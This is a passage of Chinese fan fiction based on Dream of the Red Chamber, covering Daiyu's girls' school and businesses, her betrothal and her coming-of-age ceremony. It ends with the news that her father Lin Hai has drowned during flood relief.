黛玉她们那批结束,张家女学就成了历史。
那批学生有的远嫁他乡,有的留在京城,但她们未梦想而努力的脚步从未停止。
从某种意义上,她们都在历史上留下了自己的名字,不再是某某氏;只开办一期的张家女学也随着她们在历史上留下了名字。
夫人们看张家女学的姑娘们个顶个出类拔萃,早先身体虚弱的姑娘也调养的健康起来,便想送姑娘们入学。
不过白先生借口年龄大了,精力不济拒绝了,又把黛玉和群芳女学介绍给了夫人们。
黛玉她们几个姑娘和群芳女学都足够好,获得了夫人们的信任和青睐,姑娘们纷纷入学群芳女学。
黛玉、杨梧、张阅她们商议,慈幼院和绣庄、正心堂、脂粉铺女工的孩子需求不一样,一个求生,一个求精,便商议优化了女学的课程,分诗词书画、骑射御等精英课程体系和刺绣、胭脂制作、接生、养生、外伤处理、识字等基础课程;但又同意姑娘们根据兴趣,自由选课,世家姑娘若有意向,也可以自选养生、刺绣等课程;慈幼院、女学原本的姑娘们若有兴趣,也可自选骑射御、诗词书画、四书五经等课程,只是需要多教一部分学费,也不多,女工们可以轻松支付,慈幼院的孩子可以先欠着,长大后做工还学费。
沈安、李思、楚楠去了北疆。
安阳府知府的事情一出,黛玉她们赶紧劝楚楠放弃这个想法,她想要架空进士掌权必须远离京城,但天高皇帝远,父母的权势、身边奴仆都不一定能保护自己。
最后,慎亲王妃杨苼听了楚楠的想法,精挑细选了早年去了边关的沈家长子,沈安的哥哥沈宁。
婚后,楚楠可以跟沈宁前往边关,既能满足楚楠想去外地,天高皇帝远的想法;沈家和杨家交好多年,沈宁算杨苼看着长大的,她们也能放心,一举两得。
成亲一月后,沈宁赴边关。
因五个月后,李思和沈安的儿歌沈审成亲,楚楠并未随沈宁一同前往边关,约好沈审成亲后一同前往。
沈家考虑到沈安的性格,在北疆给沈安选了夫家,沈家二位公子婚后不到一月就带着夫人和嫂子、妹妹前往北疆。
到了北疆,沈审跟着兄长的脚步进入军营。楚楠、李思、沈安住在附近县城的沈宅里,不奢华,却足够安全。
沈安也想入伍,只是不被允许,只要她好好嫁人。
不过,沈安几人发现边关常有敌人骚扰,民风彪悍,女孩子也多少会些拳脚功夫,但面对凶残的敌人却少有反手之力,大多数时候只能被一刀砍死。
沈安几人讨论过后,便招了许多女子,组成女民兵队,训练成丁,让她们在敌袭时能有反击之力,增加她们的活命机会;还可以组个女子镖队,保护大户人家女子,让女民兵们锻炼身手的同时,赚些外快。
最重要的一点是,以后必要的话可以为她们提供可能武力支持。
至于婚事,沈安开始十分排斥,但和未婚夫岳林见过后,两人性格还算投契,倒也不排斥了,一边培养女兵,一边准备婚事。
李思在北疆见到了军营的武器,都用了很久、很旧,好似稍微用点力就能断,可那些老兵却在用他们保家卫国,她想要改良武器,让它们更锋利些,用的更长些,让战士们多些活命机会,便找楚楠、沈安商量,凑钱买了许多报废的武器来做实验。
虽然还没有进展,可她们相信总有一天会成功。
楚楠一边等机会掌握权力,一边在边关办起了群芳女学,只是根据需要调整了课程,以武课为主,以文课为辅,很受欢迎。
另外,楚楠几人还选了一个安全地方,办了一个慈幼院,收容被放弃的女婴和因为战争孤儿的男孩女孩。
京城,卫若竹也已经嫁给了三皇子楚檀。
三皇子已被封为雍王,卫若竹为雍王妃;大皇子楚樟为魏王,妻韩煦;二皇子楚榆为鲁王,妻明氏。
卫若竹并未和黛玉她们一起办学,多数时候处理王府的琐事,只闲暇时去群芳女学讲课;不过,她听了楚楠的建议,和魏王妃、鲁王妃一起办了一个慈善会,筹集善款,每逢灾难,便出面救济灾情。
因着黛玉和卫若竹交好,穆郡主常见黛玉,又时常听女儿说起黛玉的事,很是喜欢黛玉,向讨黛玉做个儿媳妇,便请了张阅的母亲孔词做中人。
孔词也素爱卫若兰为人,恨不得自家多个女儿嫁过去;如今,穆郡主看好黛玉,孔词素来把黛玉当女儿一般看待,听了穆郡主的话,简直是天降惊喜,连连答应。
孔词回府,就去信一封给林海;又去给大嫂白涵说这个好消息,白涵也觉得卫若兰不错,只是还要看黛玉和林海怎么看。
林海收到信看了,又是开心,又是惆怅。
开心的是他认同卫若兰的人品,相信他一定会对黛玉好。
惆怅的是女儿要嫁人了。
晚上,林海给黛玉仔细说了,黛玉也想起曾与卫若兰见过的几次面,觉得他不会阻止她要做的事情,说不定还会帮她;穆郡主和卫若竹又相处的很好,便点头答应了。
既然黛玉点头,林海也未拖延,第二天就递信给孔词。
穆郡主得了信后,就张罗起来,半个月后,黛玉和卫若兰定亲。
一个月后,远在边关的卫若兰知道消息,莫名欢喜。
卫若兰知道黛玉及笄的消息后,亲自选了块玉料,刻了支玉簪送往京城。
姑娘们听了黛玉定亲的恭贺,张阅揽着黛玉道,“早先若竹还羡慕我有个神仙妹妹,我说她有个神仙哥哥,不用羡慕,看,如今都是他家的了。”
卫若竹调侃,“早先我家我有个神仙似的哥哥,只缺个神仙妹妹来配,如今不就来了。”
黛玉早先有些害羞,被她们说来说去,也反调戏了回去,“那我两个神仙似的姐姐想要谁来配啊?让我看看,楚三郎配那个?白三郎配那个?”
卫若竹、张阅听了她的调侃,对视一眼,抓起她挠起痒痒,姐妹三个闹成一团。
楚柠、贾琋两人年岁还小,本来家里要请先生让她们继续学习,最后求了家里,继续去群芳女学读书;课余时间给黛玉她们做教学助手,还常去旁边的慈幼院帮忙。
张阅、宋静、素心主要负责群芳绣庄、群芳脂粉、群芳正心堂的经营和扩张。
陆沅、蒋易、孙芷主要负责群芳诗集的选文、印发和售卖。
黛玉、杨梧主要负责群芳女学的事情。
两年过去,群芳绣庄、群芳脂粉、群芳正心堂已经开遍京城周围的县城,张阅她们预备向外扩张,可人手不足,只能缓步发展,稳中求进,积极培养人才。
群芳女学的学生也多了许多,只是多的是官员家的姑娘和慈幼院的孩子,女工和百姓家的女孩很少,大都留在家做家务。
群芳会的产业虽然改善了一部分妇女的生活,但她们大多是为了挣钱,为了供养儿子读书,很少愿意让女儿来读书。
黛玉她们的宣传收效甚微,可能是因为她们的宣传、劝说太过隐晦;只是,她们的力量甚微,不能大动干戈。
除了离京的楚楠、李思、沈安,京里的姑娘也喜事不断,楚楠、李思、沈安离京不久,宋静、孙芷、杨梧也陆续离京。
不过,楚楠三人早知喜讯,早早留下新婚礼物,只是不能参加好姐妹的婚礼,很是遗憾。
杨梧嫁给了张阅的堂兄张阐,孙芷嫁给了李思的哥哥李恣,宋静嫁给了孙芷的哥哥孙蘅,几人婚后都随丈夫离京外任。
宋静成亲最晚,在腊月。
过了正月,就和孙蘅去了河南许昌襄城赴任,任县令。
宋静离开前,在京的姐妹去送她的时候,道去了襄城,一定要把女学、绣庄、脂粉铺都开起来;只是遗憾不能参加黛玉的及笄宴,和蒋易、张阅、素心她们的婚礼。
黛玉她们道,群芳会姐妹如今虽然天各一方,但心却永远在一起,劝宋静别难过。以后她们要是有机会外任,也要女学、绣庄、脂粉铺开起来,以后要让群芳会的产业和女学在大楚遍地生花。
素心、蒋易、张阅也都定了亲,蒋易定了宋静的兄长宋诤;素心定了江南知府的长孙齐俨;张阅定了白先生弟弟的儿子,白家三爷的长子白樊。
到了年纪的也就陆沅和楚榕没有定亲,家里预备多留她们一段时间。
留京的姑娘越发少了,张阅、蒋易、素心成亲也会陆续离京。
不过,几年后,她们一定会再度回京,团聚在一起。
到那时,必是另一番天地。
眨眼,黛玉来京城已经三年,即将迎来十五岁的及笄礼。
为了祝贺黛玉成年,林海早早拜访了母亲的好友卫老夫人,求她给黛玉当正宾,卫老夫人欣然允之。
黛玉邀请了张阅和陆沅做赞者,贾琋和素心做有司。
林家早十日就开始准备黛玉及笄礼的事情。
二月初九,林家散出请柬,邀请亲朋好友二月十二来林府观黛玉笄礼。
为了免去卫老夫人劳顿,二月十一,林海亲往卫家请卫老夫人,早一日去林府住下。
林海还请了表兄的夫人蒋芸前来林家主持事物。
穆郡主想着,黛玉是自家未来儿媳,又有林海和卫升、林老夫人和卫老夫人的交情,便自告奋勇早一日陪着卫老夫人去林家帮忙。
林海听了穆郡主的想法,欣然同意;想黛玉以后一定会过得好,很是感怀一番。
二月十二,花朝节。
林家早几日就开始收拾屋子,屋子早已收拾妥当,但还是一大早起来,继续查缺补漏,看有无错漏。
卫老夫人一早起来,在穆郡主的陪伴下来了黛玉的院子;走在黛玉院子碰上了蒋芸,三人说笑间进入黛玉房间。
黛玉已经在丫鬟们的伺候梳洗妥当,穿了一套
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粉色的蝶舞桃花的襦裙。
黛玉看见卫老夫人她们进来,赶忙起来迎过去,行一礼道,“卫祖母晨安!郡主姨妈晨安!表婶晨安!”
礼毕,黛玉上前搀住卫老夫人道,“祖母怎么来这般早,要睡饱就好。”
卫老夫人笑着抚过黛玉的手,“年龄大了,早没觉了。”又嗔道,“你这孩子,忒是多礼,以后不许了。”
黛玉低头一下,“好,听卫祖母的。”
卫老夫人牵着黛玉走到梳妆台前的凳子上坐下,“你都这么大了,你祖母要还活着肯定开心。不过,我老太太替她看了,以后一定要给她说说,让她羡慕羡慕。”卫老夫人和黛玉祖母林老夫人是少年时密友,好友早去,卫老夫人想起故人已去,总觉得难过。如今,看着风华灼灼的黛玉,想着好友见不到,觉得难过;又想着黛玉马上要成为自家孙媳妇,很是欣慰。
穆郡主、蒋芸看过黛玉,说了几句话,就离开去张罗笄礼的事。
黛玉看着卫老夫人有些难过,转头道,“您别难过,祖母肯定也想您开开心心的。”
卫老夫人打起精神,道,“好,不难过,我们黛玉今也要开开心心的。来,做好。”卫老夫人让黛玉对着她坐着,“祖母给你修额、沐发。”
卫老夫人话落,雪雁、逢春几人就带着丫鬟把东西拿了过来。
今儿个,黛玉身边出去的丫鬟也都回来了。
卫老夫人拿起细丝线细细的绞除黛玉脸上的细小汗毛,拿起手帕给黛玉洗脸,沐发,搽干头发,给黛玉绾了一个成年女子的百合髻。
簪还未成,蒋易、素心、张阅、陆沅、探春、贾琋、楚柠、楚榕都早早来了林家,只是看来看去没什么能帮上忙的,楚柠、蒋易、探春、楚榕便陪着黛玉聊天。
张阅、陆沅、贾琋、素心出去找王夫人蒋芸询问她们今天该做什么,为了防止出错,还在一旁演练起来。
黛玉的笄礼安排在林家祠堂,布置庄严。
二月的天气还有些冷,可站在门口迎宾的林海却丝毫不觉得冷,仆从们一一把客人迎进观礼位置。
午时,客人齐聚。
黛玉候在祠堂外面,披着一件白狐狸里、粉色绣美人扑蝶图缎面的大氅。
素心、贾琋陪着黛玉。
林海在祠堂礼台上向来客致谢。
张阅、陆沅上台盥手,立在西侧;黛玉缓缓进入祠堂,面向宾客行礼,面朝西正坐,张阅、陆沅为黛玉梳头。
卫老夫人与黛玉起身,卫老夫人在阶下盥手,拭干,与黛玉相对而坐;黛玉面朝东,卫老夫人面朝西。
素心、贾琋捧着罗帕和发簪走到黛玉身边,卫老夫人起身站在黛玉身前,道“令月吉日,始加元服……”
颂罢,卫老夫人拿起发簪为黛玉梳头加笄,回到座位。
张阅、陆沅为黛玉梳头正簪。
黛玉起身,给卫老夫人行一礼,又下台向林海行一礼,又对着所有来客行一礼,表示谢意。
初加毕。
黛玉离开祠堂,去了隔壁院子换了青色绣翠竹的深衣礼裙,回到座位。
素心、贾琋捧着罗帕和发钗走到黛玉身边,卫老夫人起身站在黛玉身前,道,“吉月令辰,乃申尔服……”
颂罢,卫老夫人卸下黛玉头上的发簪,梳头绾发加钗,回到座位。
张阅、陆沅为黛玉梳头正钗。
黛玉起身,向众人行礼道谢。
二加毕。
黛玉离开祠堂,去隔壁院子换了大红绣芙蓉的大袖拖地长裙礼服,回到座位。
素心、贾琋捧着罗帕和钗冠走到黛玉身边,卫老夫人起身站在黛玉身前,道,“以岁之正,以月之令,咸加尔服……”
颂罢,卫老夫人卸下黛玉头上的发钗,梳头绾发加冠,回到座位。
张阅、陆沅为黛玉梳头正冠、
黛玉起身,向众人行礼道谢。
三加毕。
笄礼毕。
张阅、陆沅齐声道,“请笄者父亲赐字。”
林海上台,面向黛玉道,“及笄礼成,令月吉日,昭告尔字,曰林灿林云阳甫。”
林海为黛玉取名为灿,字云阳,只愿黛玉往后余生阳光普照,灿灿生辉,顺心遂意。
黛玉行礼,道,“云阳虽不敏,敢不夙夜袛奉。”
张阅、陆沅齐声道,“请笄者父亲训诫。”
林海肃声道,“吾儿今日及笄,以后当事亲以孝,待下以仁,处事大方,宽严相济……”
黛玉道,“儿虽不敏,敢不袛承。”
黛玉依次向正宾、父亲、乐者、有司、赞者、客人行揖礼,受礼者均点头示意。
黛玉和林海并立,林海向来宾致谢,客人在随从的指引下离开祠堂,黛玉、林海最后离开,前往筵席饮宴。
待送走所有客人,林海和黛玉去了祠堂,看了贾敏,说了一会话。
说完,林海就让黛玉回去,自己陪着贾敏,絮絮地说起来。
33.第三十三夜
林海在地上看着牌位,絮絮地低语着,“爹、娘、敏敏、玄玉,你们还好吗?黛玉今天及笄了,长大了,也定亲了,是卫升家的卫若兰,母亲和卫伯母、敏敏和穆郡主、我和卫升都是老交情,再者,前年去赈灾的时候,我和他相处过一段时间,品行才华都好,黛玉嫁给他,我很放心,你们也要放心,要好好保佑他。还有啊,你们再不用操心黛玉的身体,她现在身体很健康,只是看着纤弱了些……”
林海说了很久,情绪陡然低落起来,“我最近身体越来越差了,可能快去找你们了。我都在想短命是不是我们林家人的宿命,我早早失去了父母,没有为父母尽孝;又早早失去了敏敏、玄玉,如今又要让黛玉失去父亲。父亲、母亲、敏敏,你们在天之灵一定要保佑我,让我多陪黛玉一段时间,看着她成亲生子,不要让黛玉承受丧父之痛。”转而又说起黛玉的事,说了一遍又一遍,还是想说,他想,父母和敏敏一定也不会听厌,“黛玉这两年和京里的几个女孩办女学、办绣庄、脂粉铺,很是出色;我要慢慢的把林家的产业都交给黛玉,这样,就算留下黛玉一个人,我也能放心。你们别怪我……”
直到黛玉派人来,“老爷,姑娘请您用晚膳。”
林海才站起身来,慢慢走出祠堂,看着显然老了许多。
林海离开祠堂的时候,太阳渐渐西移;暮色加在林海身上,让林海身上的暮色更重了几分。
英雄迟暮,大抵就是这样的悲哀。
走着走着,林海想着黛玉,步伐慢慢坚定,暮色又缓缓在身上隐去。
林海走到大厅的时候,黛玉已经侯了许久,看林海进来,黛玉忙走到林海身边,“爹,天气这么冷,怎么又呆了一下午,您要注意点身体。”
林海道,“好好,以后都听你的,不会了,爹还要看着你嫁人生子呢?”
黛玉一听,拽了拽林海的袖子,撒娇道,“爹,我不嫁了,要永远陪着爹。”
林海嗔怪,“你啊,爹不说了。”
父女二人一边说笑,一边走向膳厅。
入座后,下人就陆续端上了晚膳。
父女和乐融融的用了膳,林海道,“黛玉,爹有事跟你说,我们去书房说。”
黛玉点头。
进了书房,林海让管家拿来林家产业的明细,让黛玉看。
黛玉看着眼前几本厚厚的册子,疑惑的看着林海,“爹,这是?”
林海道,“这是咱们林家几代积攒的产业,你现在也及笄了,该慢慢接起来了,以后都是你的,免得到时候手忙脚乱。”
黛玉听了升起一股不好的预感,道,“不是还有爹吗,而且群芳女学很忙的。”
林海道,“让管家帮你,也不用你亲自打理,你心里有个数就好;再说呢,爹最近也忙,就当给爹分忧,好不好?”林海想,还好,本朝独女也可以全额继承家里的财产;不然,他都想把女儿早点嫁出去,林家的财产大多数给黛玉当嫁妆;如今,他可以多留黛玉几年,也没有后患。
黛玉答应下来,“好。不过,爹,我白天还要去女学,闲了在处理好不好?”
林海道,“没事,你先把账本拿回去,先了解起来,不急;以后每天抽一两个时辰跟着管家学就好,晚上爹再给你讲讲朝堂的事情,慢慢地都要了解起来。”
黛玉知道父亲都是为她考虑,干脆答应。
虽然,黛玉知道父亲总有一天会离开她,只剩下她一个,感情上却接受不了,她总是希望父亲长命百岁;可听了父亲为她未来打算的话,却不觉得高兴,只觉得惶恐、难过。
林海看女儿神色不佳,知女莫若父,大抵猜到女儿想什么,只是她总要接受,便转移话题道,“陪爹下盘棋,完了回去休息,明天还要早起去女学!”
黛玉、林海走到棋盘前坐下,黛玉撒娇道,“爹爹,我拿黑子好不好?”
林海看女儿恢复过来,笑道,“好。”
父女两人你来我往的厮杀起来,下了快一个时辰才结束,林海道,“进步多了。”
黛玉笑道,“比父亲差远了。”
林海道,“那爹等你青出于蓝的那日。”
黛玉道,“好,女儿一定让爹爹等到。”
父女二人笑谈一会,林海便催黛玉回去休息了。
黛玉忙了一天,很累了,便告退了。
走的时候叮嘱林海早些休息。
林海本想再看会书,听了黛玉的话,就陪着黛玉一起离开书房,回了主院。
黛玉回了院子,洗漱后就安寝了。
林海回了院子,洗漱后躺在床上,大抵是下午陪过父母、贾敏的原因,在这个父母、他和贾敏都住过的院子,格外思念故人,眼前不断浮现起曾经的回忆,久久不能入眠。
林海想着多陪陪黛玉,努力保养身体,日常衙门、林府两点一线,只是偶尔和好友踏青、饮酒、论道。
黛玉的生活就忙碌多了,群芳女学、诗集、林家产业都要她忙,晚上还要听父亲讲课,偶尔还有朋友聚会,生活多姿多彩。
多亏那些年念书的时候锻炼身体,才没有累病。
时间一晃就到了七月,素心已经成亲,远赴江南。
黛玉打从和素心见面,姐妹两一起上学,从未距离这么远过。
黛玉去给素心送行的时候,连连叮嘱道,“要长写信回来,到时候我回扬州看你。”
素心也很是不舍,连连点头,“我等你来扬州”,又看向哥哥嫂子妹妹们,“你们也都好好的,有机会来扬州啊。”
女学在京的姐妹们也都来送素心,姐妹们一一不舍。
齐俨看着妻子难过,大舅兄和嫂子们不舍,连连承诺有机会就带素心回京。
眼看着启程时间到了,才带着素心离开。
素心登船离去,黛玉几人还留在院子,目送她离开。
直至看不见船,几人才离开。
熙凤去年生七月初七生了小女儿,取了个小名叫巧姐,快周岁了,就邀请黛玉去贾家玩。
黛玉想着反正今日也没什么急事,刚好去看看贾母她们,欣然应允。
贾琏也已经从国子监毕业,进了户部当个小官,做的还不错。
或许,因为有了儿女;或许,因为有了指望;或许,因为读了书,曾经张扬肆意的熙凤也温柔起来,夫妻感情极好。
贾母见了黛玉,连道,“你二姐姐去扬州了,如今你也快嫁人,可要多来看看外祖母。”
素心也算一直长在贾母身边,贸然远嫁,心里很不是滋味;虽然素心嫁的人家还算靠谱,可贾母还是担心素心受苦,到了外地、到了陌生的家里不适应,“哎,也不知道你二姐姐怎么样?只希望齐家对你二姐姐好,别受委屈。”
黛玉、熙凤、探春、贾琋赶紧安慰贾母,贾琋道,“您放心,二姐姐肯定会好的;二姐姐那么好,要是齐家人对二姐姐不好,我们就去找她们,把二姐姐接回来。”
黛玉、熙凤、探春她们连连附和,黛玉道,“有两个舅舅、二哥二嫂在,还有我们姐妹们在,料她们也不敢欺负二姐姐。”
贾母被她们逗笑,“你们啊,哪能把你二姐姐接回来,嫁出去就人家家的人了。想当年,我啊,也是从曾孙媳妇一步步熬过来的,知道当人媳妇不易,才想你们在闺中肆意些,所以才担心你二姐姐。”
黛玉、熙凤、探春、贾琋她们听了心里有些不是滋味,却没有办法;又十分感动贾母的慈爱,纷纷承诺道,“祖母/外祖母,我们一定会好好孝顺你的。”
贾母被她们说的心花怒放,哈哈大笑。
说着说着,宝钗也过来请安。
宝钗住在贾府,贾琋和素心出去上学,探春、宝钗相处的时间多些,感情好些;黛玉也时常随贾琋她们来贾府玩,和宝钗关系不错,相处都很融洽。
宝钗这几年一直待字闺中,王夫人看中宝钗安分守己,又有停机之德,有贤妻之姿,想把她配给宝玉;可贾母更看重湘云、黛玉,黛玉定了亲,湘云还没有。
湘云虽然失去父母,但却有两个当侯爷的叔叔,又是史家这一代的嫡长女,和宝玉相处的很好,在贾母看来,家世门第,没什么不配的。贾母想把她们凑一起,可王氏偏偏看上宝钗。
贾母喜欢宝钗的品性,却不喜欢宝钗的家人和杀过人的哥哥,
如今黛玉定了亲,素心成了亲,比她们大些的宝钗还没有。
宝钗也尴尬,可家里哥哥不争气,妈妈没主见,嫁个穷举子,风险太大;宝玉素来尊重女孩,已经她目前最好的选择了。
所以,哪怕贾母不乐意,宝钗也只得厚着脸皮当不知道。
所幸,姑娘们都相处的不错,很愉快。
闺中大概是女子一生最自在的时光了,虽然和宝玉的事遥遥无期,宝钗倒也沉得住气。
姐妹相聚的时光,总是快乐的。
姑娘们聊了一会儿,说起薄哥儿、巧姐儿,就结伴去了熙凤院子逗孩子。
薄哥儿已经两岁多了,姑娘们去的时候正在院子里玩。
两岁正是孩子讨人喜欢的时候,黛玉每每来了都会看她。
薄哥儿看到黛玉进院子就扑了过去。
黛玉忙搂住薄哥儿,笑着道,“薄哥儿,叫姑姑。”
薄哥儿咿咿呀呀的叫着,“姑姑,薄哥儿。”
探春看了姑侄二人亲热,调侃道,“哎,我闲了就来看他,谁知道我们一群人,薄哥儿就看见你这个表姑姑。”
黛玉回道,“谁让我们三姑娘这个堂姑姑太厉害了,才叫薄哥儿望而生畏。”
探春听了不依,也蹲下逗起薄哥儿,好似要证明薄哥儿也是很亲她。
宝钗、贾琋看她们这么幼稚,偷笑起来。
探春这些年一直和宝玉为群芳脂粉研制方子,虽不和黛玉经常一起,但也感情甚笃。
探春也不止和宝玉研究古方,还通过素心和青黛联系上,想要做出不会影响健
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康、孕妇也能用的脂粉,卓有成效,很受夫人们青睐。
只是因为用到一些珍贵的药物,价格很贵,销量差强人意。探春、青黛、宝玉几人正在钻研解决办法,希望能让更多人用上,赚更多钱,帮更多人。
熙凤知道她们来了,等了一会儿,没人进去,赶忙派丫鬟出来请。
进了内室,贾琋给熙凤说了门口的事,熙凤一阵嘲笑。
逗了阵孩子,姐妹们闲聊一会儿,黛玉本来想回家,结果下起大雨,只好留在贾家;又派了人回家告诉父亲。
第二天,雨还是下着,没有停的趋势。
黛玉担心父亲,归家心切,一早就去告别贾母她们,贾母劝了又劝,可也没阻止黛玉。
贾母只得安排下人冒雨送黛玉回家。
回家一问,林海果然一夜未归。
黛玉想了想,立马派随从出去打听消息。
看着大雨盆泼似的下去,黛玉看着管家的伞都要被击破的样子,很是担心。
心里祈祷,千万快点听雨,别出水灾。
不知道为什么,这几年的天灾总是格外多,干旱、水涝、地动,连番出现。
慈幼院的孩子、街头的乞丐一年年的越来越多。
群芳会、慈幼院的收益除了经营留下的备用金,都拿去收留孩子,可还是捉襟见肘。
随着天灾越来越频繁,群芳会的生意也越来越惨淡,黛玉她们还时常拿私房钱填进去。
可又不能不做,她们总乐观地想着挺过这段时间就会好多少;所以惨淡,她们也坚持,也在各地铺开摊子。
好在,群芳会的姑娘们都出自世家,家境宽裕,出嫁后更有不菲的嫁妆做底,能耗得起。
时间慢慢的过去,黛玉越来越心慌,又派了人去衙门看林海,顺便帮忙送些餐点过去;又想着林海同僚的叔叔伯伯,特意吩咐厨房多准备点。
派出去打听的随从回来报,周边雨下的很大,有的人家房子都塌了。
黛玉心道不好,是只有京城大雨,还是多地下雨?
黛玉想着是不是要提前做点准备,以防万一;又遣人去了昭华公主府问楚榕怎么看。
听了楚榕回信,黛玉忙安排林家和群芳会的人收集药材,收购粮食,以防万一。
雨啪啪地下了四五天,林海也在衙门忙了四五天,待雨停才回到家。
这几日,黛玉也因为下雨没有去女学,留在家里。
听说林海回来的消息,黛玉立马迎了出来。
林海看见黛玉一脸担心,忙安抚其女儿,“别担心,爹没事,只是忙了点,吃的不太好,有点饿了。”
黛玉也知道在衙门出不了什么事,只是心里的担心控制不住;听了父亲的话,忙让厨房准备膳食,道,“爹快去洗漱,等会用完膳,好好休息休息。”
林海忙道,“好。爹这就去。”
林海想着女儿被吓坏了,这几天要好好陪陪黛玉,也好久没陪黛玉出去玩了,想着雨后天气也不热,可以带着黛玉一起去赏花踏青。
只是,林海还没来得及带黛玉去踏青,就传来江南水灾、堤坝毁了的消息。
皇上派了工部、户部的人去赈灾,林海作为户部的几个主官之一,也被派去赈灾。
黛玉听了心里涌起一股不好的感觉,想要拦着父亲,可是人命观天,她又不能由着心阻拦父亲,只能亲自带着人给父亲收拾好行李,不断叮嘱父亲注意安全。
林海也有一种不好的预感,只是在其位谋其职,不能阻拦。
林海走前给管家留下话,在书房的抽屉留了信给黛玉,要有万一拿给黛玉。
管家听了,他几乎陪了林海一声,也知道林海身体状况,连连承诺,保证一定会守护好黛玉。
林海走的时候,黛玉前去相送,依依不舍,船只看不见了,还是驻足在岸边,不想离去。
谁也不知,这一面,是最后一面。
林海到了扬州,就组织人员救灾。
救灾工作进行的还算顺利,到了尾声时,林海带人去视察堤坝,却突发大水,不小心被卷入河中,手下找了很久才找到,人已经走了。
被卷入水中的那一刻,林海脑中不断浮现出父亲、母亲、玄玉的脸,最后停在黛玉的脸上,不断地想,我的黛玉可怎么办?我还没有看黛玉披上嫁衣?还没有看黛玉子孙满堂?
林海想着,不断的挣扎起来,却被卷入更深的漩涡。
林家老宅就在姑苏,随行官员把林海的遗体送往老宅,又送信往京城给黛玉。
素心在扬州听了消息,赶忙给婆婆说了,和齐俨前往姑苏林家老宅帮忙治丧。
时隔经年,素心再次来到林家,已经物是人非,曾经那么慈爱的姑父走了,哭的不能自已,险些晕过去。
素心想,她都这么难过,黛玉可怎么办。
林家族人听了林海殉职的消息,赶忙前往老宅帮忙,都觉得很是可惜,天不祐好人。
34.第三十四夜
林管家接到林海罹难的消息,脑袋“嗡”的一声,身体不受控制的退了几步,几乎本能的吩咐随从向贾家、张家、卫家、王家等亲朋好友报信;又走往林海的书房,找出林海留下的信,坐上马车去群芳女学找黛玉。
林管家心里想着,老爷还那么年轻,怎么就走了。
我可怜的姑娘才失去母亲,又失去了父亲,她可怎么办啊!这消息我该怎么说出口啊!
林管家再不情愿,马车也到了群芳女学。
林管家站在群芳女学门口踱来踱去、踌躇不定,女学门外玩耍的女童问,“爷爷,你在女学门口做什么?”
林管家才回过头,“我是来找林院长的。”
林管家让女童继续玩,自己前往女学,向门房道,“我是林家管家,来找你们院长,家里有事。”
门房道,“您稍等,我马上去通报。”
话毕,门房就跑进女学找黛玉,黛玉并没有上课,在书房整理资料。
门房敲门道,“林院长,您府上管家找您。”
黛玉抬头,林管家怎么来女学找我了,难道有什么急事?
黛玉突然心生一股不好的预感,赶忙吩咐雪雁收拾东西,自己去隔壁找陆沅,道“沅沅,管家来找我,约么家里有事,我今儿个先回去了。”。
陆沅听了赶紧道,“学里有我,你赶紧回去,有事来信。”
黛玉告辞,带着雪雁和澄莹、沉壁离开女学。
如今,留在京城的姑娘只剩下黛玉、张阅、蒋易、楚柠、陆沅、卫若竹、贾琋、探春和昭华公主楚榕。
探春闲暇不能出门,楚榕忙着慈幼院的事情,卫若竹忙着慈善会的事,楚柠、贾琋还小,担不起事,群芳会的事情就压在黛玉、张阅、陆沅、蒋易身上。
正心堂的事有青黛帮忙,群芳绣庄、群芳脂粉的事只能由张阅一人单着,分身乏术。
好在,探春和宝玉还能在家研究脂粉房子、画画绣图什么的。
张阅都想着,给探春找个好亲事,让她快点成亲,也好出来方便。
可惜,张阅找了几个,王夫人一直不太满意。再者,宝玉未成亲,妹妹也不好成亲。
宋诤中进士后,进了翰林院,蒋易倒不用像杨梧她们出京,但宋家到底是大家族,一家人住一起,蒋易出门不太方便,只能留在家里帮群芳诗集筛选诗文。
黛玉、陆沅负责群芳女学,也是忙的团团转,姐妹们的聚会都少了许多。
黛玉走到林管家跟前,忙问,“是父亲有什么消息吗?”
林管家看着黛玉,他从小看着长大姑娘,一点也不想告诉她这个噩耗,她还在期待父亲早早回来,谁也没想到送别那一面成了永别。
林管家看着黛玉期待的神色,还是开口,“扬州送来了消息,老爷去视察堤坝的时候,被卷入河里,殁了。”
黛玉只觉得晴天霹雳一般,身体晃了晃,她甚至想自己晕过去,就什么都不知道了;可许是经历的事情多了,黛玉并没有晕倒。
雪雁赶忙上前扶住黛玉,惊恐的喊道,“姑娘!”
黛玉镇定了些,看着周边鲜花锦蔟的样子,只觉在十八层地狱淌了几糟。
“父亲,不可能,我要去江南,我要亲自去找黛玉。”
管家看黛玉状态不好,赶忙安慰,“好,老奴陪姑娘回扬州,回姑苏,找老爷。”
黛玉只一个劲得道“走”。
雪雁几人扶着黛玉上了马车。
临上马车的时候,雪雁想起,姑娘得有阵子来不了女学,得跟陆姑娘交代一下,便跟管家说了声,下马车折身回了女学。
雪雁走到陆沅书房门前,敲了下门,“陆姑娘,是我,雪雁。”
陆沅道,“快进来,不是跟你家姑娘回家了吗?”
雪雁进门,带着哀色道,“陆姑娘,管家说老爷去了,姑娘怕要回姑苏了,女学怕来不了了。”
陆沅听了一阵难过,她这两年没少去林家,和林叔叔也见过几次,林叔叔待人风趣和善,是很好的长辈,怎么这就去了,也不由流下泪来。
陆沅又想着林家父女感情深厚,黛玉怕受不了,赶忙站起来,“走,我跟你回去,得看看黛玉。”
陆沅一边走,一边向丫鬟吩咐,“我今日先回去了,去找车夫准备,再去找贾琋,让她往出走,待会儿女学要有事就去找楚柠。”
丫鬟得了吩咐,赶忙去找车夫和贾琋。
贾琋听了消息,也如遭雷击,“林姐姐可怎么受得了。”
一路上,催着车夫快点,再快点。
黛玉回府的时候,林府已经挂起白幡。
贾母得了消息,赶忙带着邢夫人、王夫人、王熙凤、探春来了林府,贾赦、贾政、贾琏得了消息也赶忙来了林家。
张家的两位夫人白涵、孔词,得了消息也带着张阅赶往林家,又吩咐管事去刑部通知张衡。
王家蒋芸听了消息,一边让管事备车,一边让人准备车,又让人去大理寺通知王申。
穆郡主听了,赶忙叫人去请卫升,又吩咐人去王府告诉卫若竹。
卫升一来,听了林海的事,瞬间跌入椅子,留下眼泪。
男儿有泪不轻弹,只是未到伤心处。
挚友故去,再没有比这更伤心的了。
卫升缓过神来,“我们快去林家看看,如今,林家就只剩黛玉了,我们还是得帮帮。”
穆郡主道,“我已经让车准备好了,就等你了。若竹和黛玉交好,我让人通知她了,到时候也好安慰黛玉。”
卫升道,“对了,等会,我写封信给若兰,让他赶紧请假,到时候直接去姑苏林家。”
说着,卫升就写了信,让管家派人送了加急的过去。
